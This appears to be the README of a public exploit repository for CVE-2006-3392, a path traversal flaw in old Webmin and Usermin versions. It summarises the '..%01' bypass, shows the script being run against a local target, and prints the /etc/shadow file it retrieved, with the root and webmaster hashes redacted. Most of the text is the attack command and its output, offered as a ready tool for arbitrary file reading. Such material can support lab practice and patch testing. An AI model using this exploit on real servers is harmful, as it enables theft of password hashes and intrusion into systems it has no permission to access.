brosck/cve-2006-3392Python exploit for CVE-2006-3392, a path traversal in Webmin/Usermin allowing arbitrary file read, demonstrated by retrieving /etc/shadow.
Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML, which allows remote attackers to read arbitrary files, as demonstrated using "..%01" sequences, which bypass the removal of "../" sequences before bytes such as "%01" are removed from the filename. NOTE: This is a different issue than CVE-2006-3274.
$ python3 CVE-2006-3392.py -u http://127.0.0.1:10000
_______ ________ ___ ___ ___ __ ____ ____ ___ ___
/ ____\ \ / / ____| |__ \ / _ \ / _ \ / / |___ \___ \ / _ \__ \
| | \ \ / /| |__ ______ ) | | | | | | |/ /_ ______ __) |__) | (_) | ) |
| | \ \/ / | __|______/ /| | | | | | | '_ \______|__ <|__ < \__, |/ /
| |____ \ / | |____ / /_| |_| | |_| | (_) | ___) |__) | / // /_
\_____| \/ |______| |____|\___/ \___/ \___/ |____/____/ /_/|____|
[Coded by Brosck]
[*] File path: /etc/shadow
root:[REDACTED]:17406:0:99999:7:::
daemon:*:17047:0:99999:7:::
bin:*:17047:0:99999:7:::
sys:*:17047:0:99999:7:::
sync:*:17047:0:99999:7:::
games:*:17047:0:99999:7:::
man:*:17047:0:99999:7:::
lp:*:17047:0:99999:7:::
mail:*:17047:0:99999:7:::
news:*:17047:0:99999:7:::
uucp:*:17047:0:99999:7:::
proxy:*:17047:0:99999:7:::
www-data:*:17047:0:99999:7:::
backup:*:17047:0:99999:7:::
list:*:17047:0:99999:7:::
irc:*:17047:0:99999:7:::
gnats:*:17047:0:99999:7:::
nobody:*:17047:0:99999:7:::
libuuid:!:17047:0:99999:7:::
Debian-exim:!:17047:0:99999:7:::
statd:*:17047:0:99999:7:::
sshd:*:17047:0:99999:7:::
mysql:!:17047:0:99999:7:::
proftpd:!:17406:0:99999:7:::
ftp:*:17406:0:99999:7:::
webmaster:[REDACTED]:17406:0:99999:7:::